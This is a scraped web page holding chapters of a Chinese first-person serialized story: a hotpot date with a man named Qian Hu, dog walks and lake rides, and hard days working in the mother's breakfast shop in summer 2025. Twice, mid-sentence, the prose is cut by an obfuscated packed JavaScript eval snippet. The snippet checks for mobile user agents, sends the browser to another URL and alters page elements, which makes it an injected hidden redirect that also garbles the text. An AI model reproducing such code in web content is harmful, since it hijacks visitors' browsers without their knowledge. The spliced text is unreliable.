电影的前半段属于探险,我却看得十分揪心,帆船中狭小的容身之所也好,翻船后不知救援何时到达的无助也罢。影片中善恶终有报的呈现,并未如愿缓解观影过程中的对未知命运的紧张和不安。直到看见泰坦巨龙在宏大的山脉与旷野间相偎依,那一刻,内心才稍许有被安抚。 我已失去无知之勇,命运的眷顾也离我而去。从前观看这类影片,我总是感知到新奇与强大,看到主角无所不能,亦觉得自己可以冒险闯荡。时至今日,心中歇斯底里的,却是不能与害怕。 长这么大,曾几何时,我感觉过害怕?亦或畏惧? 可现在,对于这样的感觉,我已不再陌生,只残留些许无能为力和绝望。 从影厅走出,我和钱鹄说要去卫生间。其实,影片开始没多久,我就感觉到尿意。以前出来玩,我只在影片结束后、饭前,顺便去一趟。呵,对于现在的自己,我还需要慢慢适应。 “这部片子还挺好看!女主蛮帅的。”钱鹄和我说。 我看向他,点点头。 “我们晚上吃什么?”他询问我意见。 “看一下再说吧。”我回答。 经过上回要排好长时间的那家火锅店,“要不要去这家?”他问道。 也没什么不可以。我有点想吃火锅。 “好。” 这一回,刚走到店门口就有服务员迎了过来,直接带到座位。正好在下风口,十分凉爽。放眼望去,大堂基本坐满,可锅气缭绕间,并不吵闹。 “你们有团购吗?”小哥问道。 “哪个平台比较优惠?”钱鹄向小哥咨询。 我打开点评应用,找到店家,发现既有代金券的活动,也有团购的套餐。 他俩在那里有问有答。我下单了团购套餐,说:“我来吧!” “上回在我家楼下,我态度有些不好,你不要放在心上。” “没事,没事。”他连忙回说。 我点开券码,递给小哥:“麻烦验下券。” 小哥正看向我,顿了顿,“好嘞!”连忙笑着拿出设备扫码。 “你们想点什么锅底?可以选两个。” “来一个菌汤的吧。你呢?”我问过钱鹄。 “唔……我要一个牛油的。” “好的!饮品您二位看要哪一种?” 我望向钱鹄。“柠檬茶吧!”他说道。 “麻烦两杯柠檬茶。” “好嘞,一会儿给您送过来。” “对了,店里还有打卡送甜品的活动,现在只有豆花了。您二位要不要参加?我可以和后厨打招呼,给您送两份。” “不用了……”话没说完,钱鹄开口道:“我看一下啊!” 他们在那一阵鼓捣。 终于弄好了,小哥说道:“那我就不打扰二位了,我去给您下单。” “麻烦你了。”我回复。 我让钱鹄先去加调料,他回来时,还端着一盘水果。 我也坐下,他开始找话讲:“你原来是近视呀!” 上回好歹还涂了口红,穿的是件牌子T恤。这回出来,我不仅戴着镜框,衣服也没换,就是平常在店里穿的T恤,下身一条奶白色棉麻齐膝短裤,脚上一双刷得有些变形的球鞋。虽然不衫不履,却去伪存真,乐得轻松。这款短裤我一共在店里买了三条,分别搭配不同颜色的T恤,乐得偷闲。 我这身搭配,商场里十个年轻男性,六个都这么穿。不过我身型不胖,也不高,看上去,不刻意归类,区别还是不小。另外几个或是穿长裤,或是踩拖鞋,骨子里流露出的不讲究,归根到底,和我是一路。 以前玩游戏,好不容易充钱买了套衣服,也是这个打扮。还被姜斯童嘲笑:“这个游戏的玩家清一色在那儿亲亲我我谈情说爱,唯独你搞了个人妖号,正儿八经地在那敲键盘!” 他总结得精辟到位。不过,我玩得开心就行,看在他把电脑让给我的份上,我不和他计较。 职场上,也有过拎不清的对我的衣着打扮不满,说起话来绵里藏针。同是不修边幅,我尚且穿得简单、干净整洁;可那些在办公室肆无忌地抽着电子烟的,穿着领口变形、脱胶T恤的,踩着拖鞋的,更有甚者,稍一靠近,便可看见如雪般头皮屑、或是闻到各种让人不适气味的,张口还吐露大蒜“芬芳”的,可从来没有人对他们指手画脚。对于这种蹬鼻子上脸的,我一概充耳不闻。不过,今天这般打扮下楼,我并未从钱鹄脸上看出不同。 “上回看你戴眼镜,我以为是看书忘了摘下来,没好意思问。” “嗯,之前带的隐形。” “那会不会很难受?” “还好,我买的日抛。”而且是硅水凝胶,透氧性不错。 “其实我也是近视,度数还蛮高,有七百多度。”他接着说。 我望向他,他并没有戴眼镜。长期配戴眼镜且度数较高的人,眼球多少会有些突出。从他的五官来看,佩戴眼镜的痕迹并不重。 “我高中才戴的。那个时候我住在亲戚家,他们不怎么管我,每天放学后我都会去网吧打游戏,一下子就近视了。眼镜老从鼻梁滑下来,很不方便,流汗的时候,还容易糊。高考完,我就和家里说,想做近视手术,他们就带我去了。” 这很常见,高考结束,近视矫正的有之,剌双眼皮的不在少数,学车的、祛痣的、旅游的、烫染头发的,百花齐放。不过,这些只发生在和父母关系较好的家庭。 “看不出来吧!”不知怎的,他总觉得别人很轻易就会吃惊。 “你做的哪种?”我问道。 如果是角膜性屈光手术,由于不可逆,风险较高;而人工晶体植入术,则是费用更高。之前和人闲聊,对方就提到她的一个朋友因为术后异物感太强,又把晶体取出来了。 钱鹄的兴致肉眼可见地上来了:“你知不知道晶体植入?和隐形眼镜有点像,不过直接嵌入到眼球,可以管很长时间。” 我高考那年,主流还是全飞秒。这种手术,越是早期,价格越昂贵。钱鹄比我大三岁,可见他父母对待自家小孩,只论好的、不论价格。 学习这种事,脑子不错,问题就不大。吊儿郎当的人,再聪明,也积攒不下学识;但凡用功,扎实肯学,“驽马十驾,功在不舍”,长此以往,心性和成就必定超出同龄人许多。 不过,回到成年人的生活,两个人有没有共同话题,这个相当重要,因着决定了能不能玩到一块。 “你平时看剧吗?”我问道。 “唔……不太看。不过,我妈妈很喜欢看老剧,都是我帮她充的会员。” “《权力的游戏》也不看吗?”我知道不少男生都追过这个剧。 “听说过,偶尔还刷到它的短视频。哦,对了,《指环王》第一季出来的时候,我追着看完了。” “它还出了连续剧?”我有些诧异,不过,好像有点印象。 “嗯,第二季也出完了,不过我只看了开头。” “感觉怎样?” “里面有一些政治正确,到后来,就有点追不下去了。我还看过《我的天才女友》,有一段时间它挂在主页,我点进去看了几集。还有《唐顿庄园》,我追过几季。” 这么说,他看过不少剧,就是和我看的,不太对得上。而且,后提到的两部,更偏女性向。联系他的性格,倒十分合理。步入大学,我开始认识到男性的多样性;及至工作,自离开儒伊,接触到的男同事,多少似有若无地瞧不起女性,一旦涉及到利益,打压起来更是快准狠。我极其讨厌大男子主义,小时候看港产片,第一次听到“沙猪男”这种描述,参照剧中的言行,自此对这类人下头。自古,有才华的人多被叮嘱戒骄戒躁、静水流深,唯恐“木秀于林,风必摧之”;可性别这块,不能以常理度之,这一优势占据族群的一半,不必担心他人眼红,招致祸患,而且生来就有,不存在“山外有山,天外有天”,他人亦无从驳斥。当平生受益无出性别其右,一部分对性别执着的男人,也就不难理解了。虽然我更欣赏男子气慨,钱鹄的柔性,不得不说,也是一个加分项。 “你看得进《我的天才女友》?”我有些疑惑。 我略微了解过故事背景,不同于主流影视聚焦于中产阶级,这部剧设定在上世纪的意大利那不勒斯,讲述两位女性主角如何在充满贫困、暴力的落后社区中挣扎和跨越阶层。由于剧情太过现实,即使我饶有兴趣,也只能望而却步。 “还好吧,”他却说不出个所以然。 嘛,我也就是蜻蜓点水问个大概。 聊天过程中,锅底已端上,菜品陆陆续续上齐,甜点也送来一份。一个店员来到桌边,自我介绍道:“您好,我是专门负责这一桌的客户经理,方便的话,可以加个好友吗?之后,我们会做回访,并赠送优惠券。” 钱鹄拿出手机扫码。 “如果还有需要,你们随时可以叫我。我就站在那边。”他用手一指。 “等一下,你们刚刚说可以送两份甜品,还差一份。”我喊住他。 “好的,我去帮您问问。” 钱鹄拿起公筷,开始往锅里下菜,一边接着和我聊。 “我小姨上次回来,大包小包地拎了很多。她还背了把吉他,说是送给我。我又不会弹,还不是放在家里。” “我妈妈特意让我请假陪她全家出去逛,每天从早到晚,把人累得够呛。不过还是挺好玩的,你坐过空轨没?坐之前,我以为和轻轨差不多,可从车底看到地面上人的头顶,感觉还是非同一般。” “那天还是工作日,车上坐满了人!” “他们还点着要去原湖边上野餐,那边和市区老远了,就呆那一会,真是不值。” “几天下来,我人黑了好几个色号,瘦了好几斤。” 公筷只有一双,用来夹生菜,桌上也没有筷筒。我不好意思开口找服务员再要一双。好在店里的招牌是毛肚,服务员会帮着煮至于其他,还有漏勺可用,不至于影响我用餐。 “你小姨是怎么出的国?”我有些想象不到。 “她先是考取了市内医院的编制。院里有去新加坡交流的机会,她自学了英语,拿到了名额。去到新加坡,眼见周围的同事很多都移民去了澳洲,她也心动,派遣结束后,在澳洲的医院找到一份工作,时间一长,就在那边定居了。” “她还把我家家接过去住了两回呢!老人家在那边吃不惯,没多久就闹着要回来。” “她好厉害!”我由衷地称赞。 “你小姨她自己买的房吗?”我有些好奇。 “不啊,房子是她老公家买的。” “和外国人?” “不是,在那边长大的华裔,孩子都生了两个,还在读初中。” “你性格变了好多,”他话锋一转,“我记得你以前很喜欢说话。” 那不知是多久以前了。只有忙过头恍然若失时,我才能察觉到自己与从前迥然不同。精神科面诊时,医生也问过我相关的问题:“你平时照镜子是什么感觉?”大多数时候,我只在洗脸台前看见自己。这些年,我少有对自己的知觉,镜子中的我,大多数时候,让人不忍直视。家中的穿衣镜碎掉好些年,今年年初,才来宜家又买了一面,穿衣打扮,也较从前上心了几分。有时,看到镜子中的自己,会让我感到些许安心。出门前,我还会对镜拍下当日打扮,这可以帮我巩固对自己的认知。 “你平时和朋友也这样吗?很少和她们聊天、出去玩?” “还好吧,大家都很忙。我和堂姐关系不错,可她在国外,时间对不上。” “她在哪个国家?”他问道。 “美国。” “在那边上学吗?” “一开始是去那边读研,毕业后留了下来。前期在那种小而美的公司攒履历,前几年如愿跳槽到行业内的第一梯队。” “她拿到绿卡了吗?” “快了吧。” “哦。” “她工资也不低,可听她的意思,在那边买房还是有点难。” “哦。” “你呢?经常和朋友一起出去玩?”我问道。 “嗯啊,时不时晚上一起约个饭。” “那你们不喝点小酒?”爸爸不抽烟,可每回聚会必定喝酒。 “稍微喝一点,不多。”我打量着他的神情,心忖,但凡聚会喝酒,就不存在只喝一点这种说法。 “喝醉过没?”我问得直接。 “那还好,不得的。” “过年和亲戚一起吃饭,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301324|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有喝醉过吗?” “呃,还好。长辈敬我酒,我肯定不能拒绝,但喝醉还是蛮少。” “那你每回在外面吃,怎么和家里人说呢?” “一般都是约第二天,提前和家里打招呼就行。” “老吃我妈做的饭也腻。你不知道,她做饭蛮素,都是院子里种的菜,每天特意拿到杉湖烧给我吃。” “那你家家的晚饭怎么办?” “哦,我妈都是做好了才和我爸爸一起去杉湖。家家吃的时候,热一下就行。” “他们为什么不住在杉湖呢?” “刚开始是这样。我爸爸之前跑出租,妈妈每天搭公交回榕潭上班。后来他腰椎不行,就把车给卖了。加上我妈妈退休,两个人每天在家大眼瞪小眼,也不是个事。家家身体也不好,所以他们搬回榕潭照顾老人。” “你也晓得,我爸爸现在在开垃圾清运车。这个事还是我妈妈帮他找的。他手上有钱,也不用跟我妈妈开口要。” “那不是蛮辛苦?每天很早就要起来吧?都这么大年纪了!”我说道。 “四点多就要出门,在榕潭住的时候,每天都被他吵醒。其实,习惯了也还好。他只用上半天班,早上把垃圾运到处理厂,一天的事就结束了。下午时间都由他说了算。他有时候连觉都不补,吃了饭就赶紧去麻将馆。我爸爸还和我说,他在麻将室碰到过你妈妈呢!” “嗯,有这个事。” “你打麻将吗?”我问道。 “会打一点,过年的时候,他们到处拉人凑角,我跟着打过几回。” “你也去麻将室吗?” “那我不得去,里面的人个个抽烟,臭死了的。” 安静了片刻,钱鹄开口道:“听我妈妈说,你爸爸也退休了吧?” “嗯。” “那他每天在家做什么呢?” “还能干什么?吃饭睡觉玩电脑呗!” “他自己做饭吃?”他问道。 “不然咧?你爸爸不会做饭?”我反问他。 “他呀,只会做甩手掌柜。钱用完了,就找我妈妈要钱。” “你不会做饭,那你做不做家务呢?”我问道。 “嗯……我妈妈基本都做了。不过,地板是我拖的。她体力不行,每回拖地都累得满头大汗,拧拖把都没得劲。拖地很费功夫的呀,整个屋里,要拖两遍才算干净。” “拧拖把为什么会费劲?不都有脱水篮吗?” “咦,这种不行,水渍太重了。我家里都是木地板,要用那种老式的棉拖把拖地,不然会有划痕。” “海绵拖把呢?那种滚筒挤压的。” “我力气大,那种用不了几回就脱胶了。” 说钱鹄像他爸爸吧,两个人十指不沾阳春水;可言谈间流露出的掌控意味颇浓,显得他更肖颜盐。 安静了片刻,钱鹄望向我笑着再次开口:“你看,我俩这回不聊得挺好嘛!你有什么想知道的,只管问。” 缓了片刻,我应了声。他这话说得颇为刻意,好似我正中他下怀,而他又十分坦荡。 桌上只有一份甜品,冰都要化了。我喊来服务员:“不是说还有一份甜点吗?怎么还没送过来?” “不好意思,我再去催一下。”不下片刻,另一份豆花姗姗来迟。 “等一下,”我喊住店员,“麻烦把剩下的毛肚也下到锅里。” 她有些迟疑,欲喊来经理。 “我来吧,”钱鹄阻止我。“你想吃什么就和我说,我帮你煮。” 我看了他一眼,只得作罢。 他用自己的筷子在锅里夹菜,由于筷子本就不够,我无意说些什么,而且他一直吃的牛油锅。可他将海带丝夹到我碗中,几次滑落,才全部挑了进来,最后,还特意看了我一眼。我没说话,拿起手边的饮料喝了一口,不再动碗里的菜。 好在我吃得差不多了。 我虽然不吃,东西可不能浪费,索性拿过公筷,少有地替人布菜。他碗中稍微空了些,便再次给他堆满。他有些受宠若惊,忙不迭地埋头干饭。 “这家店味道很不错。”去往停车场,钱鹄说道,“你今天吃得也不多。” “吃好了就行。” 到达榕潭,他把车停在不远处的停车场。我不明所以。 打开车门,热气扑面而来,将人四面八方裹住。 “你是不是还要遛狗?”他开口道。 “嗯。” “我还没见过你家狗呢!我陪你一起吧!” 这提议倒有几分新鲜。脱兔和人接触确实不多。 “行,那我把狗子牵下来。” 回到家中,我给脱兔穿上胸背,扣上牵引绳,把垃圾袋叠好放入口袋。 饶是他已有心理准备,乍见偌大一只狗猛然从黑黢黢的楼道中窜出,还是吓得一个激灵。 我有些好笑,但没有开口。 脱兔遛弯,如同猛虎出笼,一个劲地往前冲;钱鹄走在绳子的一侧,和前方以及绳子均保持一定距离。他有些想看狗,又不敢上前。 “这狗有多重呀?”他开口问道。 “七、八十斤吧,抱着称体重都费劲。” “它多大了?” “今年满九岁。” 脱兔妈妈的主人记录了小狗的出生过程,它刚好在前一天的晚上十一点半从妈妈肚子里出来。 “哇,养了好多年呐!你妈妈也养了狗,上回在店里,我还摸了那只狗的头。” 他说的应该是心心。 走在马路边,他提出想要牵一下绳子,我打量了一下他,暗忖应该出不了乱子。 “两个手抓好,”我提醒道。 脱兔并不在意换了人,它仍在往前奔,钱鹄身体向后仰,一步一顿,倒也硬撑着继续。 走了十来米吧,他把绳子递还给我:“这狗好大的劲呀,你是怎么牵得住!这哪里是遛狗,说是锻炼也不为过!” “蛮多人这样说。平时在路上,总有人看笑话,逗了狗,又问我拉不拉得住。”我回答。 “我在短视频里看过那种可以收缩的绳子,你怎么不买那一种?” 他说的应该是福莱希。 “一开始用的就是那个,八米长,都不够它往前奔的。” 个傻狗永远只晓得横冲直撞,旁边的小树林,不往里走,就不知道嗅探。 “那种并不耐用,时间长了还容易卡壳。这狗霍霍了好些个,把盒子摔得稀巴烂。” 到头来,还是多功能牵引绳实用又耐造。 到达路口,我牵着脱兔掉了个头。 “今天好热啊,我裤子都黏身上了。”说着,他还扯了一下。 “它舌头一直在外面,没收进去过,热坏了估计。你没想过跟它把毛剃一下吗?”他再次提问。 我缓了缓,答道:“我觉得挺好的。” “它洗澡怎么办?”钱鹄继续问道。 “买了吹水机,在家给它洗。” “那蛮费劲吧?” “还行。” 临近停车场,他还想努力一下。 “我听钱姨说,你晚上还会骑车?” 之前骑完车回来,在路上碰到过小鱼伯伯一回。怎么到我这,再平常不过的事,都变成值得上报的军情了? “嗯。” “你今天骑吗?”他问我。 “太热了,不想骑。” “骑一下嘛,我和你一起。我也好久没骑车了,正好当作运动。” 我侧头看向他,想着怎么让他知难而退。 “你有车吗?”我问道。 “我可以骑我妈妈的自行车。” “现在也不早了,你还要回杉湖……” “等下叫个车就行,蛮方便。” “天这么热,还是算了吧?” “今天晚上有风呢!骑车的时候,就更凉快了!” “行吧。”话已说尽。 “那我先回去把车子骑过来,等会在路口见?” 我无奈点头。“好吧。” 和脱兔回到家,已过九点。我喝了口水,有些恍神。这一周,过到现在,人的感觉好似白开水般寡淡。没有什么可以,也没有什么不可以。今天大部分时间都在外面,现在,还得被人牵着鼻子走,去湖边骑车。明明他身上也看得到的累,亦觉得天热,可偏偏有几分好似熬鹰,非得赶鸭子上架,像是要把人彻底打趴,才能一逞威风。 罢了,总归,我不讨厌骑车,也没有什么想法和精力去应对。 去到路口,他骑着小车,前面篓子装着的,应该是之前放在车上的矿泉水。见我过来,他将其中一瓶递给我。 “不好放。”我拒绝道。 他在前方骑着他妈妈那辆粉色折叠车,没一会,他回头和我搭话。 “这车子还是不行,等我找个共享单车。”说着,他下来推车,刷着手机。 我慢慢踩着踏板,心中并无情绪。 还真叫他找到一辆,不过,他鼓捣半天,却打不开锁。 “唉,算了。”尝试过一回无果,他选择放弃。 到湖边得转两个弯,中间那段路比较黑,我挂着尾灯,倒也无碍。过完马路,则是环湖车道,右侧是融于夜色的湖水,左边是白昼般敞亮的空旷车道,人有几分放松。 折叠车轮框的直径同童车差不多。他在我左前方,欻欻地踩着踏板,却并未前行多远。我本就有些累,慢慢地踏完一圈,不时还歇上一回。 “你这车子看上去不错呀!”他和我说道。 “嗯,还行。”看他骑着有些破旧的小车,有点好笑,略微还有一丢丢过意不去。可我已经不是从前那个全心全意替他人着想的傻大姐了。 “骑起来还是有风的,比遛狗的时候还是要凉快不少。”他说道。 “你每天都骑吗?”他问我。 “有一段时间没骑了。” “为什么呢?锻炼身体也好哇。” 我不作回应。 骑车可以充□□好。妈妈还在医院上班时,给我一辆自行车,我能绕着住院部骑一整个下午。在杉湖上学,每当心情不好,我会找早早到校的同学借车,驶出校园,沿着街道兜风,再坏的心情,也能随风而散。太久没想起从前,情绪已冬眠,可有些事情,不同过,就难以彻底抹去。 去到高中,渐渐的,身边只我一人。一人上学,一人逃课,一人翻院墙。进到大学,宿舍只是睡觉的地方,一人去图书馆,一人去上课,一人交作业,一人在操场跑步。工作后,回到只有一人的家,身边唯有脱兔,一人做饭,一人做家务,一人看电影,一人下馆子,一人照顾狗狗。我从未觉得独处有什么不好,一个人的乐趣数之无穷、道之不尽,我乐得自在。直到《双人成行》发售,喜欢冒险动作类游戏的我,最终,不得不低头在网上寻找游戏搭子。Hazelight Studios于今年发行了《双影奇境》,周五我看到消息便下单,周六睡醒后找到游戏搭子,周日就通关了主线剧情。 游戏是我的甜,我一直知道这一点。儿时的《超级玛丽》、《冒险岛》,高中时的《乐克乐克》,工作后的《动物之森》、《动物森友会》,均在低谷期陪伴着我,游戏带给我的快乐很纯粹。我对游戏相当挑剔,技术性较强的容易让我知难而退,我更看重趣味性。二一年得知《双人成行》获得TGA年度游戏大奖,我便收入囊中;可直至去年,再次开始工作,从PC辗转至Switch,我才得偿将游戏通关。 我不欲从关系中得到什么,亦没有出于孤单想要陪伴的需求。可有一个游戏搭子,并不是什么坏事。俩人若是志趣相投,成为生活搭子,也不是不可以。 对恋人的要求,在于并肩之人,可这难以避免要求世俗的成功。可生活搭子不一样,以前的种种假定,全都形同虚设。钱鹄这人,就外貌,不想作出点评;性格嘛,还在尝试了解接受;至于学识,知识和玩乐多少有些不对付;而家境,我自己比什么都靠得住。 路灯下不止有一簇簇抱团的飞虫在那排兵布阵、轮番阻隔视线、试图冲破口鼻的防线,还有那紧贴地面、匿影藏形、伺机将人吞入腹中的灯下黑。 掉头那处的红绿灯,短暂得不足十秒,加上黄灯倒计时,才可堪堪抵达对面。一面是湖,一面是围墙,回程总让人不太爽快,可又不能逆行。 热风迎面,却裹挟着我向前;有些东西,已不同于昨日。 在路口和钱鹄各走各路,将自行车扛上楼,跌坐回椅子,方落得今日份的清净。 洗澡完回到房间,看到钱鹄发来的消息:“回到家的时候,我爸爸还在等我,他坚持送我回杉湖。” “我到家了!” 我回复:“好的。” “今天很累了吧?我也要去洗澡了。” 他又发来一个“晚安”的表情包。 我回了一个“睡觉”的表情包。 50. 2025年7月,第27周 50 [2025年7月,第27周] 经期结束,睡眠不再那么吊诡,三、四点钟醒来,即使有些不适,闭上眼睛也能迷迷糊糊地继续入睡。 临出门,我把冲剂放入裤子口袋,想起还没抹符灰。那人的做派,不足以让人信服,还让人有些难安。如果直接丢掉,未免对不住妈妈花的银子,再抹肯定不会了,至于拿回来的东西,之后再处理吧。 没想到,有一天,自己的行事也会向事缓则圆靠齐。 我对二十四节气没什么概念,之前还以为是阴历。就算是国家法定假日,也得等到节前收到通知才算得明白。这个夏天在店里帮工,随着气温一点点升高,体感越来越热,小暑、大暑、处暑,初伏、中伏、末伏,我掰着手指算它们什么时候到。也不知道自己到时受不受得住。另一方面,却也知道,只有它们来了,才能彻底地过去。 在乡下上学,我对放假没什么期待,对学校也没有过抵触。学期末,老师的课讲完了,便让学生自习。考完领取成绩单,我并不全然安心。榕潭小学的老师特别实在,音乐、美术、体育、思想品德,每一门都要正儿八经地考试。除此之外,就算成绩不错,老师的评语也可能单单拎出缺点。总之,得妈妈点头,这一学期才能算作结束。 初中寒假去到奶奶家,我从奶奶口中第一次听到腊八、小年、除夕这类词汇。自然,也少不了相应的传统美食,如腊八粥、炸茄盒、鱼圆子等。我这才知道,原来古人过年有这么多的讲究!大人在那忙活,小孩在旁边围观,不时还能蹭点刚出锅、热气腾腾的食物解解馋,不知道有多开心。 家中并没有人务农。春生夏长,秋收冬藏,从前只在书本上看过。对于学生,只有寒暑两个假期,工作后,则只剩一个春节长假,至多,也不会超过十天。 时至小暑,意味着炎炎夏日已经开始,每日气温可高达三十七、八摄氏度。店铺朝西,即使太阳大,中午之前,还晒不到我头上。即使天热,不时有微风拂面,可谓是苦中有甜。不过,即使有荫、纵然起风,八点钟回家,人也热得几近虚脱。我安慰自己,正因为如此,人才会期待秋天的到来。经过冬天的不拔,更显春日的生机;夏季酷暑之后,秋天才觉气爽。人也是这样,有高峰便有低谷,到达最低处,往后,才能步步高升。 身体的焦虑不由我说了算,可思绪上的,尚可勉力与之周旋。如果诸事不顺,那便好好生活;人处涸辙,倘若每天能睡个好觉,那就心满意足了。 至于学习,这几天虽然身体不适,除去不在家的时间,仍是该做题做题,该听课听课,并不算落下。 午觉睡到十二点二十,不觉得睡了这么长时间,人却有舒服一点。 多年以前,我在应用上存过一张图,一个扎着马尾的女孩趴在地板上,翘着腿,塞着耳机,含着笔盖,拿着笔,眼睛却瞟向一本写着“CITY”字样的书籍。这张图片一下子就抓住了我眼球,一番搜索后得知,这是漫画《CITY》的一张草图。每当漫画要更新,作者便会在个人账号放出这样一张公告。 之前玩手游,接触到一些有意思的人,他们的名字和头像可谓千奇百怪。其中让人侧目的,便是多位头像为顶着两个小辫的男玩家。 我这人,一向“不懂就要问”,这才得知那一头蓝发扎着两小辫的,名叫长野原美绪,是一位资深吐槽家,来自动漫《日常》。这部动漫太过脱线,我知道其有趣得不同寻常,可和我的脑电波有些对不上。不过嘛,以前看不懂不意味着以后也看不懂,什么时候记起来了,再找来看也是一样的。 《日常》的火爆人气,延续到了作者的另一部作品。之前就在社交应用上看到消息,改编自《CITY》的《小城日常》将在国内同步播出。就连视频网站的首页,都将《小城日常》的海报轮播了好些天。 《CITY》在国内的消息并不多,主角是个怎样的人,我无从得知,只能从画中感知一二。今天恰好是播出时间,却得等到半夜。无奈,我点开《日常》,随机选择一集重温。 其实吧,吐槽这类行为,对于一个有话直说的那类人,没啥特别。科尔相生佑子这种敢做敢为的人,恰好能戳中我的笑点。正值心气郁结,我把头像改为了佑子乘坐电车那段的截图。 前些天,我在网上买了一个风铃。房间的窗户正对着阳台,交房就有的老式窗户一直没有更换。我把风铃挂在风钩上,一开始,还想着它怎么都不响,起风的时候,却又觉得吵闹。 以往夏天最热的时候,还是会和同学约着出去玩。与我投缘的人不多,溪辞算一个,另一个则是孟璮。我与孟璮是初中同学,说来也奇怪,升到高年级,别的班上的女生都开始打扮,我们班的却大多身着运动短袖和长裤,脚上穿着各式的运动鞋。并非老师刻意要求,大家却同声共气。 孟璮这人,说她虎吧,能和我闹得有来有回;说她特别吧,从不掺合女生间的弯弯绕绕。不同于我,她身材颀长,跑得快,跳得高;一头整齐的长发规整地扎起,柔顺有光泽。她课堂上遵守课堂纪律,认真做笔记,课后规规矩矩完成老师布置的作业。此外,作文写得好,还爱看课外书。 和同学的胡闹劲过去之后,我便老黏着孟璮,课间借笔记,回家路上和她搭话,放学后给她家打电话询问老师布置的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301325|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作业,时间一长,俩人渐渐熟络起来。及至高中,她选的文科,便只在楼道上偶尔碰见;高考后,初中同学聚餐,大家复而走动起来。大学毕业那年,正是我们认识的第十年。 这几年,我和她断断续续有联系。许是太忙,常常聊了上句没下句。这本是再普通不过的小事,大家都有遇到过,已见怪不怪,我却很是不适。我不愿多加揣测,与她从来都是君子之交,她以前可从不这样。不愿被人严重影响心情,情绪低落时,也将她从联系人中删了出去。 我向来好了伤疤忘了痛,身边的人来来去去,总还是那些个。刷到《我的阿勒泰》的剪辑,便想与她分享这部剧,或是这本小说。也罢,我加回她好友,她随之通过。 “你看了我的阿勒泰吗?”我给她发去消息。 “看了一点没看完。咋啦?”她回复我。 “没啥,我最近才知道这个剧,看了个开头。” “小说也可以,我看了一点。”我向她推荐。 “有打算后面抽空再看一下这部。”她回复道。 “把阿勒泰带火了。”她亦对这部剧有兴趣。 “是啊。”我表示赞同。 我已经意识到,身体这次的虚弱,和我近来的饮食有很大关系。每天在店里吃得少,活却没少干,下午和晚上还在家里学习。恰逢经期到来,身体自然受不住。早上从店里离开,我去对面的肉铺买了两根排骨,又在蔬菜铺子买了两个番茄。烧好后,我只夹了几块出来,和午饭一起吃,余下的准备下午带到店里和妈妈一起吃。晚饭时,妈妈没说什么,拿了纸碗,夹了几块肋骨分给隔壁的小阿姨。 “你遛完脱兔过来帮我分装绿豆沙。”妈妈吩咐道。 “现在不行吗?” “还没煮好。”她有些不耐。 “哦。” 再次来到店里,我以为一下子就能装完,可入眼的是满满一汤桶的绿豆沙,下巴都惊掉了。 “你怎么煮了这么多?这要装多久?而且,绿豆沙不经放,卖不完坏掉不就只能扔了吗?” “是要你做事,不是要你点评。要是一下子就装完了,还要你作甚!有功夫在那念叨,不晓得赶紧做?” 我叹了一口气,店里的日子真是越来越难过了。我认命地把绿豆沙倾倒入盆中,再一杯杯分装。 终于装完,硬是花了一个多钟头,说是腰酸背痛也不为过。意外收到钱鹄的消息,他在广场上摸流浪猫。 “你不怕有跳蚤吗?”我问道。 “啊,以前没有过咧!”他像是第一次被人提醒。 小家伙躺在地上,十分温顺黏人。 51. 2025年7月,第28周 51 [2025年7月,第28周] 每天第一位到店的客人换了一个,却还是同一个地方干活的人。因着买的同样的东西,妈妈随口问了几句。 “之前这个时间点,也有人来买这些东西,你们是不是认得?” “嗯,是他让我来这里买的。” “他怎么不来咧?”妈妈问道。 “这天太热了,他守了一晚上,人也耐不住。索性和我换着做,凉快了再换回来。” “哦,原来是这样。”妈妈接住话茬。 集市的面窝不出摊,下街的一个店家几次开车经过摇下车窗看几眼,终于,来店里买了回面窝。 只一口,他便夸得停不下嘴:“你们家的面窝,用料扎实得很呐!你是不晓得,有的店,拿面粉和米浆,吃到嘴里的那个干巴劲,一点意思都没得!” “我一吃你们店的,就晓得是规规矩矩用的黄豆和大米,那嚼劲和口感,完全不一样!以后还照这样做,晓得吧!我还要来照顾你家生意的!” “好吔,谢谢老板捧场哈!”这人实诚又地道,一番话把我说得喜笑颜开。 他走后,我欲把话转告给妈妈。 “我听到了,他嗓门又大!”妈妈亦笑得开怀。做得好便有人夸,之后做起事来更有干劲,这本是顺理成章的事。 可总有人本末倒置,听风是雨。怕人骄傲,就不予认可;担心人不上进,便把做得好当作是理所应当。长此以往,成绩被埋没,德行反成累赘,谁也弄不清,问题究竟出在哪里。 之后,他还顺带着买了店里的豆皮。一天早上,他来了一回,又来第二回。 “一份不够吃?”我打趣道。 “哎哟,我老婆看我吃得香,她也馋到了。这不,把我的端起跑了,我只能又过来买。不过,你家豆皮的个面皮,怎么有些糊?” “下回注意啊!”他提出意见。 “不好意思,我等下就去跟老板反映。” “这才对嘛!”他是个爽快人。 可妈妈并不放在心上:“又不是哪个故意把它炕糊的,这是避免不了的。” “都像他那样多事,这生意还怎么做!”她完全不放在心上。 闻言,我也不好多说什么。 这之后,那人又来过一回,也只那一回。连面窝也不买了。 每天炸完面窝,看着桌上的满满一锅,心里很不是滋味。我赶过热闹,却少见萧条。并不指望宾客盈门,只是目前的工作量,人已是勉强才吃得消。 